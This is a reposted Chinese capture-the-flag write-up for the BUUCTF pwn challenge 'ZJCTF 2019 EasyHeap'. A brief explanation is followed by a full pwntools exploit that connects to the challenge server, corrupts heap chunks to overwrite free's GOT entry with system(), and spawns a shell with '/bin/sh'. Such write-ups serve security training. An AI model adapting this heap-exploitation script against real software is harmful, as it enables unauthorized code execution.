[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

x33g5p2x  于2021-11-16 转载在 其他  
字(1.5k)|赞(0)|评价(0)|浏览(183)

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

思路

我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道。没有结果,
但是我们有system函数我们可以将其放入我们可以操控的函数,比如printf、puts、gets、free等函数的got表,通过传入/bin/sh来解决。利用堆漏洞就可以达到其目的。

exploit

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

p = remote("node4.buuoj.cn",28081)
elf = ELF('easyheap')
p.sendafter('Your choice :',b'1\n')  
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')

p.sendafter('Your choice :',b'1\n')  
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')

p.sendafter('Your choice :',b'3\n')   # free 1
p.sendafter('Index :','1\n')

payload = p64(0x0) * 13 + p64(0x71)  + p64(0x6020ad) + p64(0x0)
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'0\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',payload)

p.sendafter('Your choice :',b'1\n')      
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')

p.sendafter('Your choice :',b'1\n')  
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')

payload = b'a' * 35 + p64(elf.got['free'])   
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'2\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',payload)

sys_addr = 0x400700
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'0\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',p64(sys_addr))

binsh = '/bin/sh\x00'
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'1\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',binsh)

p.sendafter('Your choice :',b'3\n')
p.sendafter('Index :',b'1\n')

p.interactive()

相关文章

微信公众号

最新文章

更多